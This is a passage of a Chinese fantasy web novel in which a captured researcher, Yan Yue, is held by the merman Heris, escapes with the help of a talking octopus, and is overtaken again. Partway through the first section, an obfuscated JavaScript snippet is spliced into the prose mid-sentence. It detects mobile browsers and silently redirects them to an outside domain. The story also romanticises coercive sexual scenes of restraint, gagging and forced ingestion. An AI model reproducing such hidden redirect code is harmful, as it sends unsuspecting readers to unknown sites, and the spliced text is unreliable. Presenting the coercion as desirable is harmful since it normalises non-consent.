“那为什么那只人鱼一直处在感染爆发,但却迟迟没有变成污染物,甚至拥有了自主意识?” 莫里一连串的问题追问到晏越身上,语气甚至有些急切,说完后才意识到自己的失态,向后拉开他们之间的距离,又恢复到了从前那副沉着冷静的模样。 “我在重塑它的阈值,如果它对污染的抗性更高,那么意味着做出来的抗体就更具有普适性,这样说你可以理解吗?” 晏越不着痕迹将照片收起来,微笑着看向莫里。 这笑容不带任何情绪,就是一个很简单的笑。 “我不建议上校跟它一样成为实验体,污染物的力量虽然强大,但很容易腐蚀人心。” 晏越是故意这么说的,为的是打消莫里某些想法。 年轻的上校对他说:“我告诉你基站消息,作为交换,当新抗体面世时,我要拿到的比帝国快,懂吗?” 晏越挑眉:“抗体一向需要临床试验。” 莫里的嘴角抿成一条直线,话中不带着商量的意味,“我会替你解决。” 此时敲门声响起,是莫里的保镖霍尔。 他进来后在莫里的耳边说了些什么,莫里重新看向了晏越。 “你的人鱼在封闭舱狂暴了,试图靠近它的人都受了伤并且被感染了,只有你能控制住它。” “我接到的任务是协助你完成‘复生’计划,现在的情况在我的计划范围外,封闭舱只有你能进,我不能保证你的安全,当然你也可以选择不去,那只人鱼会被消杀,我会给你十分钟考虑。” 莫里说完这句话后便离开了,跟在后面的霍尔临走前想起门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14068017|147788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个试验员交代自己的事,从兜里掏出来个东西递过去。 那是一个弹壳。 弹壳上面有个不太明显的犬牙印记。 晏越将弹壳举起来,金属的色泽冰冷却又带着一点似有似无的潮湿。 不知道为什么突然想起来东方一个流传的谚语。 人鱼泪,百病消。 人鱼血,腐骨生。 人鱼骨,天同寿。 “滴——” 屋外的联络器嘀嘀作响,霍尔接通后嗯了几声关上,回头便看到换好衣服的晏越拉开了门,惊讶地看了一眼时间。 才三分钟,这个人是压根就没考虑吧。 “准备好了?”莫里问。 晏越没有回答他,反而是转了转手腕的机械表问:“在哪个封闭舱?” 莫里笑了一下,让霍尔带着晏越前往封闭舱。 他知道人鱼的成熟期意味着什么,度过了成熟期的人鱼才算开启了完整的一生,它们的力量、寿命都会达到另一个维度。 晏越看重的这条人鱼何尝不是他也看重的。 在这十分钟里,他想过晏越拒绝前往封闭舱帮助人鱼度过成熟期的情况。 但似乎只是起了一个念头便无法继续了,他不认为晏越会临阵脱逃,毕竟晏越也是个不要命的性子。 初次见到晏越时,年轻的亚裔教授站在飘着玻璃碎片的海水里,看似狼狈但没有一丝无助,平静无波地处理着问题。 从那时起,这个在印象里仅仅是长得还行但很容易忘记的天才,就在他的脑海里划下了不轻不重的一道痕迹。 他敬重、欣赏天才,但不会怜惜天才。 在前往封闭舱路上连地板都结了一层薄霜,温度在抵达人鱼所在一层时骤降。 不断有伤员被抬出去,有些神志不清的人直到被抬走仍在大喊着:“恶魔!污染的恶魔!!” 晏越一行人路过时,那股血腥味直冲格雷西的脑门,他强忍着想吐的欲望帮晏越准备需要的装备。 此时的晏越浑身上下带着一股不太精神的病气,仅凭一缕神吊着似得。 莫里披着大衣领着他来到重兵把守的舱门前,递给他一把枪。 “晏,只能成功,没有失败。” 伤病中的青年轻轻咳了一声,让周围的士兵看向他的目光带点不忍。 就连强壮的士兵进去了都只有逃的份,这样脆弱的研究人员去简直就是明摆着送死。 “这枪我用不上,但我从这里出来后就能用上了。” 青年轻轻地咧开嘴笑了,对着一个比较眼熟的布拉德利的卫兵说: “在此之前,布拉德利最好找到一个合适的借口说服我,不然等我进去看到它受了什么致命伤,伤怎么我的人鱼身上出现的,就会怎么在布拉德利身上出现。” 他脸色苍白,唇却红的要滴血,从那张嘴吐出来的话好像是一句玩笑话。 莫里·亚当斯侧身压低声音在他耳边说:“四日,抵达沉没海域。” 青年眼底闪过一丝满意,他点点头转身拉开了那扇许多人都惧怕的舱门,清瘦的背影迅速消失,舱门也随即关闭。 比舱外还要重万分的血腥气在门开启的瞬间夹杂着冷气穿透了在场人的衣物。 莫里拢着大衣,跟霍尔说:“准备好补给物品和医疗设备,另外提高忒亚的行进速度,九十六个小时前必须抵达目的地。” 50-60 第51章 第 51 章 嘘不要出声 赫瑞斯的话犹如一盆凉水, 让晏越的心从头凉到了脚。 牢牢握在膝头上的蹼爪在此刻像是恐怖的毒蛇,卷着他要将他吞噬。 肾上腺素狂飙让他居然爆发了巨大的力量,一脚踢开了它的蹼爪。 “噗通——” 他猛地跌落在水中, 急忙寻找可以远离赫瑞斯的地方。 但除了森白的遗骨,这片海洋没有任何东西可以作为他躲避的地方, 或是抵抗的工具。 没办法, 他只能拼命游到遗骨旁,立马转过身警惕地看着赫瑞斯。 赫瑞斯浮在水中,惬意的抱着手臂略略歪着头, 观看他这种在自己面前没有任何意义的抵抗。 眼前的青年紧紧抓着森白的骨头不放,身上灰色的大衣因为被水浸湿而十分沉重,从一旁的肩头滑落下来。 里面的衬衣领口也被这沉重的大衣扯着微敞,漏出精致的锁骨。 他头发凌乱, 眼镜早不知所踪。 那双格外深邃的黑色瞳孔此时充满警惕性的看着它。 只是他并不知道,自己这般模样在人鱼的眼中非但没有任何的攻击性, 甚至简直是在邀请它来欣赏这种破碎感。 赫瑞斯的眸色又暗一分。 晏越死死捏着冰冷的白骨, 恨不得现在就把这块骨头捏碎, 然后用尖锐的部分逼退这只发疯了的人鱼。 赫瑞斯饶有兴致,在他面前伸出蹼爪。 晏越以为它要动手, 下意识抖了一下, 向后一缩。 可耳边连水纹波动的声音都没有。 他又看向赫瑞斯, 谁知竟看到它轻轻舔舐起蹼指。 它的目光极具侵略性, 一瞬不瞬盯着他。 猩红的舌尖沿着食指灵活的旋转, 紧张的气氛顿时暧昧黏腻起来。 它的目光灼热又赤.裸,故意在他面前做出这番模样。 可它紧盯着他的模样,就让晏越感觉,好像它舔舐的并不是手指, 而是自己。 人鱼这种生物暴虐又性.淫,但又因着一张惊艳绝伦的脸,让它的每一个行为都添上了引诱的味道,让人类甘之如饴的走进它们的圈套。 晏越的脸颊上起了绯红。 他实在没办法做到赫瑞斯这样没脸没皮,别扭地扭开视线不去看它。 赫瑞斯因为他的反应而满意地咧开了嘴角。 “呜—呜—呜——” 诡异的叫声从头顶响起。 循声望去,晏越看到了天空中几只黑色鸟类。 这种黑鸟有着暗红的喙和爪,叫声及其瘆人恐怖,让人一看便想要远离。 它们绕着巨大的遗骨在这片海域环绕。 晏越看到远处不知道是什么东西刚露了个头,黑鸟就如同导弹一样俯冲而下,将那个东西刺穿,然后飞到高空,用爪子毫不犹豫撕成了许多节。 碎尸噼里啪啦的砸在海面上,让人心惊。 晏越不知道这些是什么东西,但生存的本能告诉他,不能被这些鸟类发现。 赫瑞斯趁着他抬头去看的这个间隙,敏捷地扑到他身前,粗壮的鱼尾不轻不重打在他的腿上。 晏越这才想起来,与其担心头顶的黑鸟,不如担心一下面前这只最危险的人鱼。 他飞速屈膝抵在它的腹前,抗拒意味满满。 “离我远点!我没兴趣当你的同类!” 赫瑞斯喉结滚动,瞳仁微缩。 “嘘小声些要是让它们抓到我可没办法救你” 晏越这才发现自己中了它的计。 诡异瘆人的叫声逐渐逼近在周围空域,他只能压低声音怒骂:“阴险!” 赫瑞斯突然歪了一下脑袋,又勾起唇角,握住他膝头的蹼爪微微用了力。 “是在骂我吗?” “没关系我不介意你可以多骂几句一会儿可就没力气骂了” “你!” 晏越瞪大了眼,似乎被它这不要脸的模样开了眼。 “呃” 膝盖突然一痛,他忍不住低呼出声。 就在这时,湿滑又灵活的舌趁机而入,抵着一个东西送进了他的嘴里。 晏越顿时警铃大响,无比奋力的挣扎着推开赫瑞斯。 赫瑞斯干脆抓住他两只手腕,粗暴的将他的手压在头顶。 然后整个沉重坚硬的身躯都自下而上的压在他身上,用无可撼动的力量,将他肺部仅剩的氧气耗尽。 “呜” 湿润的气息像赫瑞斯一样霸道又强势的席卷了全身。 它的舌尖抵着那个冰凉的东西送到他舌根,故意让他耗尽了力气和氧气。 最后那个东西轻松的滑进了喉中。 赫瑞斯有些恋恋不舍,松了一些力气,反复磋磨了很久,直到晏越一拳砸在眼眶上才堪堪退离。 眼前的青年吃了大亏,脸色涨红,唇角还带着一丝晶莹。 他狠狠抹着嘴角,嗓音沙哑。 “你给我吃了什么?” 赫瑞斯不语,笑意深沉。 但晏越很快就明白了,这东西的作用是什么。 温度从腿.根开始上升,蔓延到脚背。 晏越隐约觉得不好,猛地推开赫瑞斯,语气冰冷。 “离我远点,不要靠近我。” 赫瑞斯邪笑着,俯到他耳边低语:“一会儿你会求我的” 然后它竟然真的就离开了一些。 灼热感缓慢地变成了钝痛。 从脚尖开始,痛到五脏六腑都被揪做了一团。 他紧闭双眸,死死咬着牙不让自己漏出一点声音,用力攥着背后唯一的白骨,像是紧抓着最后一根稻草。 全身的血液都在此刻开始逆行,两只腿更像是岩浆一样烫。 这种痛不是短痛,是一种漫长而尖锐的刺痛折磨,痛的他恨不得拿刀立刻马上将腿砍掉。 面前的人鱼不断故意用鱼尾搅动着海水,让海水一波一波打到他的腿上。 他就像海上破洞的帆船,在海浪的拍打下无力地承受着。 豆大的汗珠从额角滴落。 因为用力,抠在遗骨上的指甲都出了血。 “呃” 终于,在较猛烈的海水拍打下,他没忍住吭了一声。 冰凉的东西顺势从脚心缠了上来。 他意识模糊之际忍不住发出了一声喟叹。 生的本能让他想要从这个冰凉的地方汲取更多的缓解。 他颤抖着夹住,不想让它溜走。 灼热的痛感从脚蔓延到胸口,这种疼痛并不像发病时那样可以昏厥。 他甚至连昏迷都做不到,只能在痛苦中清醒的沉沦。 “想要解脱吗?” 低沉的声音萦绕在耳畔,诱惑着他。 但晏越偏偏硬着头皮,声音嘶哑的要命。 “滚” 他勉强睁开眼睛,看到水下的鱼尾死死地绞在自己的双腿上。 原来刚才觉得舒服的东西竟然是它的鱼尾。 他顿时清醒过来,颤抖着腿想要松开。 但鱼尾马上猜到他想做什么,毫不留情地击溃了他的想法,锁着他的两只腿强行让腿并拢。 “啊!” 剧烈的疼痛让眼前一白,晏越冷不防的叫出声。 黑鸟循声靠近,瘆人的叫声逐渐逼近,他又死死咬住自己的嘴唇。 “嘘不要出声” 赫瑞斯坏极,故意让他吃痛出声,又威胁他。 冰凉粗粝的蹼爪抚过被岩浆浸泡的肢体,激起一片冷颤。 它目不转睛的看着他,不肯错过他丝毫的反应。 看他在智地压抑下漏出的,一丁点的,释放天性的反应。 这让它爱极了。 “嘶啦——” 它眸色微动,撕碎他的衣袍,团成一个球塞进他的嘴中。 嘴里被堵着一个东西,那些压抑的稀碎的痛呼短暂的得到了释放。 鼻尖在自己的耳后颈肩反复梭巡磨蹭。 双腿的疼痛让他不由得忘记了反抗。 所有的意志力都在保持着自己的体面,身体跟随着海浪的波动而晃动。 不知道过去了多久,疼痛逐渐变缓。 而他浑身的力量都在此刻抽丝剥茧的离去,最后在它的臂弯中得以喘息,昏睡了过去。 赫瑞斯敛眸看着他苍白的脚背上覆上一层透明的薄膜。 拇指覆过他的耳根,那里却光滑一片。 它拧起眉,将他横抱在怀中,撕碎他膝盖下的裤腿。 洁白的腿上干干净净,什么都没有。 没有鳞片,没有薄膜。 它一寸寸摸过去,甚至骨头都没发生变化。 赫瑞斯的脸沉了下来。 但很快它就恢复如初。 下一秒用锋利的指甲刺破自己的胸膛,然后剖开,从心脏的尖端剜出来了一个透明的东西给晏越喂了下去。 于是,晏越就在这个埋藏遗骨之地,不分日夜的反复受着这种折磨。 昏昏沉沉的醒来,被喂进碎烂的食物和不知道从哪弄来的,还有些甜味的淡水,以及那个该死的东西。 许多次他抵着赫瑞斯摇头,“等等让我喘口气” 赫瑞斯通常会让他缓一缓,然后继续喂食。 但唯独那个东西,赫瑞斯固执地不容他拒绝。 久而久之,他甚至都开始习惯了这种疼痛。 疼痛变成了疲倦。 不知道什么时候,他躺在冰凉的遗骨上独自醒了过来,恐怖的发现自己的指间生出了薄薄的膜,小腿覆上了一层新生的、透明的类似于鳞片的东西。 他能听到的声音更多了,但心却更沉了。 他拼命地撕扯腿上那些鳞片,每扯掉一个鳞片,痛都直通心脏。 可他强忍着,还是将那些新生的鳞片全部扯了下来,腿上也变得伤痕累累。 赫瑞斯不知道什么时候回来,看见他醒过来以为是他渴了,熟练地划破自己的手腕抵在他嘴边。 晏越这才意识到,自己这段时间喝的那些有些甜味的淡水,根本不是什么淡水! 是赫瑞斯的血。 他皱着眉偏开头。 赫瑞斯没想到他居然清醒了意识,把手里的食物递给他时,余光扫到了他伤痕累累的腿,脸色猛地一变。 它掐着他的肩膀把他狠狠压在遗骨上,语气中是压抑的愤怒。 “为什么?” 晏越冷笑一声,“什么为什么,我不想变成你这样的怪物,这不是显而易见的吗?” 赫瑞斯的喘息逐渐粗重,盯着他看的眼眸也冷下来。 晏越毫不退让的回击回去。 最后,赫瑞斯阴森地扫了他一眼,留下一句:“我会让你没办法拒绝的” 在它离开前,晏越看到了它胸膛上大大小小的伤疤。 他皱起眉想,什么东西居然能给这个恐怖的人鱼造成了这样的伤害。 但无论是什么东西,他都不想在意。 因为这是它应得的。 突然,指尖传来一阵痒意,攀上来了一个凉凉的东西。 因为受到的刺激太多,晏越下意识就把那个东西甩开了。 那个东西吧唧一声砸在水里,没泄气,立马又黏了回来。 只是这次晏越听到了奇怪的声音。 [呜呜呜呜——妈妈别不要我——] 第52章 第 52 章 再次逃离 什么东西? 晏越第一反应就是向四周看, 但周围活着的生物只有他一个。 [妈妈——] 那个黏腻的东西在水中快的看不清影子,啪叽一下又黏在他腿上。 强忍不适,晏越看清了黏上来的东西。 “是你?” 烟灰蛸抱着他的腿, 冰凉柔软的脑袋不断地磨蹭。 [嘿嘿妈妈还记得我嘿嘿] 但是烟灰蛸怎么会找到了这里,他分明记得赫瑞斯把它甩在了帝国。 而且那小心眼的人鱼绝对不会这么好心带着烟灰蛸一起走。 他捏起烟灰蛸柔软的大脑袋, 把它整个从水里提了出来。 [哎呀哎呀哎呀] 烟灰蛸短短的腕足挥舞着, 脑袋被捏的扁扁的。 晏越惊奇的发现,烟灰蛸此时的体型已经跟以前有着天壤之别。 它再也不是那种可以随意揣进兜里的大小了。 它已经有一个人的脑袋那么大了。 [呜呜呜妈妈这样很难受嘛~] 耳朵里传来诡异的声音,像是小孩子在撒娇一样的童声。 晏越顿时吓了一跳, 连忙将烟灰蛸甩进水里。 “噗通。” 烟灰蛸掉进水里后并没有气馁,又爬了回来。 晏越神色复杂,看着它重新黏了上来。 他似乎能听懂烟灰蛸在说什么? 烟灰蛸并没有感觉出来晏越的异常,整个章鱼贴在他腿上, 叽里咕噜的。 [哎呀哎呀怎么这么多伤口,肯定是坏人鱼干的!幸好我记住了妈妈的味道找过来了, 不然妈妈肯定又会被那只臭人鱼欺负的, 呜呜呜坏人鱼故意不让我找到妈妈, 我用了好几天呢] 它小心翼翼的贴在他腿上,避开他那些细小的伤口。 [嗯?什么味道, 这是什么?] 它注意到晏越脚背上生出的那短小的类似于蹼的东西, 大惊失色。 [坏人鱼!] 晏越就花了一段时间接受了自己能听懂一只章鱼在说什么的事实。 他又从水里把烟灰蛸捏起来。 [哎呀妈妈别捏我的脑袋嘛——] “你知道这是什么?” 烟灰蛸绿豆一样大的眼珠子转了一下, 整只章鱼抖了一下, 像是人类吸了一口气一样。 [当然知道啦, 这是它们那些坏人鱼的臭手段,会用自己的Muspora让其他的生物成为心甘情愿的仆人啦,但是Muspora还是很珍贵的,只有少部分的人鱼拥有这个啦~] [坏人鱼!不过Muspora也有一点好处啦, 可以治好妈妈身上的病,哎可惜妈妈听不懂我说话,不然我就会告诉妈妈啦。] 晏越定定的看着它。 [嗯?我哪里说错了吗,为什么妈妈这么看着我?] “什么是Muspora?” 烟灰蛸用三根腕足摸了一下另一根比较短的。 [可以认为是人鱼分割后的灵魂啦,不过取Muspora也是很痛的,所以很多人鱼即便拥有Muspora也不会去取?????妈妈?!!你能听懂我的话?] 烟灰蛸绿豆大的眼睛都快瞪掉了。 [真的吗真的吗真的吗,不是我在做梦吗?] 晏越虽然很不想承认,但实际上他确实听懂了。 他脸色有些僵硬,面对一只章鱼奇怪的灼热视线,缓缓点了点头。 时间凝滞了三秒钟。 他有一种不详的预感。 因为他突然想起来,赫瑞斯曾经异常嫌弃的捏着它,说它吵。 [呜呜呜呜妈妈,我好委屈呜呜呜你都不知道我醒来没找到你有多难过,好不容易闻着你的味道找到海里,路上还遇到了虎鲨白鲨电鳗,它们咬鱼好痛的,你看我的触手都被咬掉了一根呢!呜呜呜你都不知道我怎么逃出来的] 它声泪俱下并且叽里呱啦地控诉着,举起自己短了一节的腕足。 短了一节,并不是一根。 晏越轻抚自己额角,感觉脑袋有点痛,想要让它安静一点。 “好好好,你怎么逃出来的。” 烟灰蛸大大的脑袋像水波一样抖了一下:[嘿嘿,我把它们的脑袋都扭爆了!] 晏越感觉自己多余问。 “你知道这里是哪里?” 烟灰蛸说:[知道呀~这里是人鱼的遗忘之地,只有在人鱼出生或者死亡的时候才会来的地方,其他时间是不允许靠近的,找到这里真是费劲。] 晏越顿时燃起了希望,“那你知道怎么从这里离开吗?” 烟灰蛸又说:[可以哒,就是头顶那些黑黑的东西有点坏,啄的有点痛,不过妈妈你躲在我触手下面我还是可以带你出去啦~ [不对,臭人鱼肯定会知道的,我跑不过它呀。] 它在水里绕着晏越转圈圈,吧嗒吧嗒的拍着水。 晏越感觉烟灰蛸虽然生出了高智,但心性还是跟孩子一样没什么差别,它不会骗他。 他思索片刻,问:“那我把赫瑞斯支开,你能带我离开吗,我得回去。” 烟灰蛸短了一节的触手搓了搓大大的脑袋,想了想。 [可以哒~妈妈放心,我很靠谱的!] 晏越把最后的希望放在了烟灰蛸身上。 可他看着水里的烟灰蛸,大大一只已经塞不进兜里了,留它在周围也会被赫瑞斯发现。 “我会想办法让赫瑞斯离开这里,等它走了你就过来,我们回去好吗?” [好呀好呀~] 烟灰蛸吐了几串泡泡,突然抖了一下。 [哎呀妈妈我得走了,臭人鱼快回来了我闻到味道了,我还会回来的!] 说完,用短短的腕足蹭了一下晏越受伤的腿。 断了一节的腕足横截面已经愈合了,蹭起来有些痒痒的。 它咕噜咕噜潜入水中,嘴巴里还在嘀嘀咕咕,就这么飞快跑远了。 过了大约五分钟,赫瑞斯就回来了。 它面色不虞,托起他受伤的腿。 晏越本能的想要收回来,却被牢牢握住了脚腕。 它抬起头,眸色阴暗。 晏越怕它闻到烟灰蛸的味道,只好别扭地放弃抵抗。 它似乎并没有闻到,举起另一只蹼爪,悬在他腿上并捏碎了握着的水母。 水母流下的汁液滴在受伤的腿上,冰冰凉凉的很舒服,缓解了伤痛。 为了涂抹方便,他踩在它坚实的腹肌上。 它的动作意外的轻柔。 在它为自己涂抹水母汁液的时间,晏越看到了赫瑞斯身上的伤疤。 大多伤疤都在心口周围。 喂给自己的那个东西就是Muspora吗? 烟灰蛸说取这个很痛。 它频繁从心口周围取出Muspora,那些伤口还没来得及愈合就被重新割开,因此有些伤口仍在流血。 晏越问:“这是什么。” 赫瑞斯反复确认他的腿上没有伤口被漏下,才将最后那点水母汁液抹在自己的伤口上。 它低着头,高挺的鼻梁盖下一片阴翳。 “治伤我的唾液只会愈合这里会留疤” 晏越实在搞不懂它。 它一边如此疯狂粗暴的将他带走,却又这么小心。 难道只是为了把他变成附庸,从而报复他把它当做试验品,困在实验室吗? 甚至用梦境控制他的精神,妄图击垮他。 不惜跟污染物一起,混入帝国也要带他走。 如此大费周章,没有杀他,只为了囚禁他? 但它的目的已经达到了,没必要做这些。 这有一种巨大的违和感。 他突然注意到它的脖子上仍旧带着那个皮质项圈。 项圈早就失去了任何的作用,也不需要他的指纹解锁,明明它轻轻一扯就断掉了。 他偏开了头,看向一望无尽的海洋。 不知道烟灰蛸藏在了哪里,会不会被它发现。 “究竟为什么一定要执着于我,当初你被感染,只是为了活下去才选择留下。” “我救了你,你的目的达到了,我说过会放你走,你仍不满意,难道要所有人类都因为你的报复心而一起死亡吗?” 赫瑞斯的脸一变,刚才那点温柔瞬间消失殆尽,取而代之的是森寒。 它的声音瞬间变得低沉冰冷:“报复心?这是代价” 晏越皱着眉,下意识想要踢开靠近的它。 赫瑞斯一把抓住他的脚腕,警告他:“我已经很容忍你了不要挑战我的耐心” “否则” 它捏着他的下巴,嗓音低沉。 “我会让你再也没办法出声” 晏越猛地踹开它。 他不是那种会被威胁吓到的人。 但他也意识到现在激怒赫瑞斯没什么好处。 他需要想个办法把赫瑞斯支开,这样烟灰蛸才能有机会带他离开。 一人一鱼对峙许久,最后还是赫瑞斯先打破了僵硬的气氛。 它将捕来的食物给晏越,语气不善,言简意赅:“吃。” 晏越拿过来时看了一下。 这鱼是从潜水区捕来的,他得找个借口让赫瑞斯的捕食费劲一些,于是他只吃了一口就放下来了。 赫瑞斯皱着眉, “不要挑食” “味道太大,吃不下,而且腿疼,没胃口。” 深海鱼的味道会淡一些,他想让赫瑞斯去深海。 赫瑞斯眯起眼睛,晏越面容平静回视它。 半晌,赫瑞斯笑了一下。 “你最好别借着这个由再逃跑” 它眸色深沉,最后看了他一眼,重新扎回海里,没一会儿就看不到影子了。 晏越面无表情,等赫瑞斯走远了,聒噪的烟灰蛸嘟囔着过来了。 [妈妈妈妈我来了——] 晏越没再犹豫,憋住了一口气沉入水中。 他神情复杂。 因为他发现自己并不需要憋气就能在水底呼吸。 耳后冰冰凉凉的。 水从耳后巨大的缝隙中流了出去,留下了氧气。 现在他的身体状态越来越像那个梦了。 烟灰蛸膨胀许多倍,将他包裹在自己的身体下。 [抓稳我的触手,我们出发啦!] 一只短短的触手伸到他面前,他牢牢握住,听到烟灰蛸发出欢快的声音后高速潜离。 烟灰蛸的速度很快,在它带着自己逃离的过程中,他不断听到闷闷的啄击声从上面传来。 应该是那些鸟在啄烟灰蛸的身体。 晏越有些担心,摸了摸它的触手安慰它。 [没事哒!] 健气的小孩音传来。 烟灰蛸这么说着,加速离开。 他们很快离开了遗忘之地。 烟灰蛸把他从身子下面放出来,缩小回原来的模样。 灰白色的身上有着一些不大不小的伤疤。 晏越看着烟灰蛸为自己受了伤,心里有些愧疚,但现在不是实验室,他不能为它治疗伤口。 于是他摸了摸它的脑袋,说:“抱歉。” 烟灰蛸打着转在他身边游来游去,[没事哒,很快就会好的!我们快走,不然臭人鱼发现了就麻烦啦!] “好。” 这次晏越不需要在它身下躲着。 它大大软软的脑袋驮在身下,比赫瑞斯坚硬的身体不知道舒服多少。 烟灰蛸沉浸在快乐之中,并没有看到远处有一双灰暗浑浊的眼睛,一直在默默注视着它们 赫瑞斯在日落时分抓着手里的食物回到遗忘之地。 但它在这片海域没有找到任何晏越的身影。 他的气味变得很淡,一看就是早就离开了这个地方。 它鼻翼轻动,在淡到几乎消失的气味中敏锐地捕捉到了外来生物的气味。 它微仰头颅,面色阴沉。 “呜——” 头顶的黑色鸟类发现了入侵者,从天空飞驰而下。 赫瑞斯甚至身子都没动,抬手一把捏住了黑鸟的头颅。 然后下一秒生生捏碎了它的头颅。 “晏越” 它笑着,但笑的极冷。 第53章 第 53 章 “可你说过的,不会离开…… 烟灰蛸游起来并不像赫瑞斯那般平稳, 它总是一股劲一股劲的向前冲。 冲一段,缓一缓。 然后又被周围的鱼吸引住,勾着鱼尾巴玩, 像个贪玩的小孩一样。 所以它也没有注意到,脑袋上驮着的人的异常反应。 他将脸埋在烟灰蛸软软的脑袋里, 手无力的垂在水中, 整个人身上都伴随着不正常的高温。 这种高温让烟灰蛸的动作都变慢了。 烟灰蛸嘟嘟囔囔着:[今天的太阳怎么这么晒呀,脑袋都晒痒了。] “噗通。” 脑袋突然一轻,想起来晏越还在背上, 烟灰蛸猛地就吓清醒了。 短短的腕足急急忙忙去捞摔进水里的人。 [妈妈妈妈妈妈] 它把晏越捞起来,惊呼一声。 [怎么这么烫!] [坏了坏了,对不起呜呜呜我忘记了,臭人鱼给你喂下Muspora这段时间, 它是不能离开你的身边的,呜呜呜妈妈快醒醒] 烟灰蛸手忙脚乱抱着怀里烧的迷糊的人, 冰凉的腕足碰到他灼热的躯干上忍不住缩了又缩。 这只触手烫到了, 就换另一只。 就在它纠结怎么办的时候, 突然看到了远处一直潜藏的影子,顿时警惕起来。 水下柔软的腕足悄悄伸长了数倍。 那个影子被发现, 索性也不装了, 慢慢从水底浮起来。 它虎视眈眈地盯着高热不醒的人类。 那是一只成年的雄性人鱼。 并且比烟灰蛸见过的, 除了赫瑞斯以外的人鱼都要强壮。 [小章鱼, 把那个人类给我。] 烟灰蛸把晏越包的严严实实, 做好了战斗的准备。 对面显然没把烟灰蛸的抵抗放在心上,冷笑了一声,也不多说,伸出尖锐的爪子就扑了过去。 它的速度很快, 而且次次都下死手,许多次堪堪擦着腕足下的人类的胸膛过去。 烟灰蛸本就不敌这只人鱼,又因为要保护腕足下的晏越,逐渐落了下风。 它卷着晏越,望着回去的方向以及前进的路,思考了一瞬,喷出浓郁的墨汁迷惑敌人,然后拼命继续跑。 对面的人鱼彻底被惹恼,眼神一凌,冲上去生生扯断了烟灰蛸一只腕足。 向来怕痛的烟灰蛸一句都没吭,更紧的卷着晏越没命的跑。 [还想跑?那就一起去死吧。] 雄性人鱼的利爪闪着冰冷的光,划破了烟灰蛸许多根触手。 触手里面的昏睡的人类在即将掉落出来的瞬间,藏着的那根比较短的触手狠狠地拍在人鱼脑袋上。 人鱼甚至被拍了个跟头,一时有些不可置信。 [你竟敢呃!] 下一秒,一股巨大的力量席卷而来,砸在它的胸口上,将它生生拍出了几百米。 雄性人鱼猛地呕出一口鲜血。 还没等缓过劲来,迎面而至的疾风划破流水刺穿它的胸膛。 它吓得狼狈躲开,但免不了受伤。 面前的金尾人鱼穷追不舍,狠厉无比。 局势在瞬间逆转。 袭击烟灰蛸的人鱼被压着打,淡蓝色的鲜血在这片海域中溢开。 赫瑞斯不给它片刻喘息的机会,是摆明了要杀它。 烟灰蛸终于得以喘息。 但触手断了许多根,现在的它跑也跑不快,费劲地捞着晏越往前涌动。 晏越不知道什么时候醒了过来,或许是因为刚才那场激烈的打斗。 他迷迷糊糊的,看到面前两个残影。 [妈妈你醒了!别担心,我很快带你离开!] 因为高温而有些思维缓慢的大脑逐渐清明。 他低头看到揽在自己胸口前的腕足,残次不齐的断了许多。 他很心疼,想要摸摸那些断的腕足,但又怕烟灰蛸痛。 “别费劲了。” [不可以半途而废的!] 烟灰蛸还想继续往前跑,晏越拍了拍它的腕足让它松开自己。 面前的烟灰蛸有些重影。 他摸了摸它柔软的脑袋,说:“跑不了的。” 烟灰蛸急的团团转。 眼看着那只人鱼就要被赫瑞斯杀了。 接下来就是他们了。 晏越从衣服里拿出一直戴着的项链,套在烟灰蛸柔软的脑袋上。 烟灰蛸怕项链掉了,用腕足压着项链。 “还记得在船上的时候,那个黑色头发的人类吗?” 烟灰蛸眼睛转了转,点头。 [记得,他叫谈寺。] 晏越欣慰的点点头,目光温柔。 “帮我把这个给他。” 这是房间钥匙,房间里记载了他所有写下的数据。 他能信得过的只有谈寺了。 烟灰蛸立马答应转身就要走,却看到晏越没跟上来,有些疑惑。 [妈妈,你怎么不走?] 晏越摇头。 他清楚的知道,如果自己跟烟灰蛸一起,那么他们都走不出去。 钥匙就永远没办法被谈寺拿到手上。 所以他要留在这里拖延时间。 “我走不远,快去吧。” 烟灰蛸咕噜咕噜冒着泡。 它不傻,但是它很听晏越的话。 小孩的声音很委屈,像是快哭了。 [那你等我!我很快回来救你的!] 晏越看着它一溜烟跑的没影,等走出没多远,若有若无的哭声越来越轻了。 他无声的叹了口气。 那边的赫瑞斯面无表情,甩开蹼爪里的东西。 刚才还猖狂无比的人鱼,此时胸口破了个大洞,汩汩的冒着血。 被赫瑞斯丢出去的那块心脏,没过多久就被鱼群扑上来抢食了。 它口溢鲜血,眼中却散发出狡猾的光。 [你跟那些脏东西成为了一体,还把Muspora喂给了人类,海神不会饶恕你,当我重生,我会将这些全部告诉它们!] 赫瑞斯左眼漆黑无比,只剩一点蓝色的瞳仁。 [我不信海神。] 它震惊无比,似乎听到了什么大逆不道的话。 但意识逐渐脱离,它突然望着赫瑞斯背后的方向,诡异一笑。 [看来你失败了就算今天你打败了我,那又怎样?] [那个人类还没完全成为你的附庸,跟发.情.期的人鱼没有任何区别,其他人鱼都会闻着味道一拥而上,所有人鱼都有可能成为他的主人。] [即使你想用自己的信息素把他藏起来,他身上散发出来的味道,是你能盖住的吗?到头来还不是] 它的话还没说完,就被赫瑞斯扭断了喉管,彻底失去了声音。 [闭嘴。] 赫瑞斯的声音淡淡的。 看着尸体逐渐沉入海底,它缓慢的转过身去。 鱼群感受到了它周遭的可怖气氛,纷纷散去。 晏越浮在海中,也懒得动弹了,索性闭了眼睛等待风雨的到来。 但赫瑞斯只是问:“为什么?” 晏越并不想回答它。 他是人类,附庸也好宠物也罢,这对他来说都是无法接受的。 只要他还活一天,就会永远继续逃下去。 赫瑞斯的声音很平静,并没有他想象中的那样愤怒。 平静的出奇。 “我给予你新的生命让人类的伤病不再折磨你我给予你一半的灵魂甚至永生为什么?你一定要离开我?” 晏越睁开眼睛说:“因为我不想留在你身边。” 它突然说:“可你说过的,不会离开我。” 晏越一愣,突然忘记了要说什么。 蔚蓝掺杂着污染的瞳,干净与肮脏碰撞到一起。 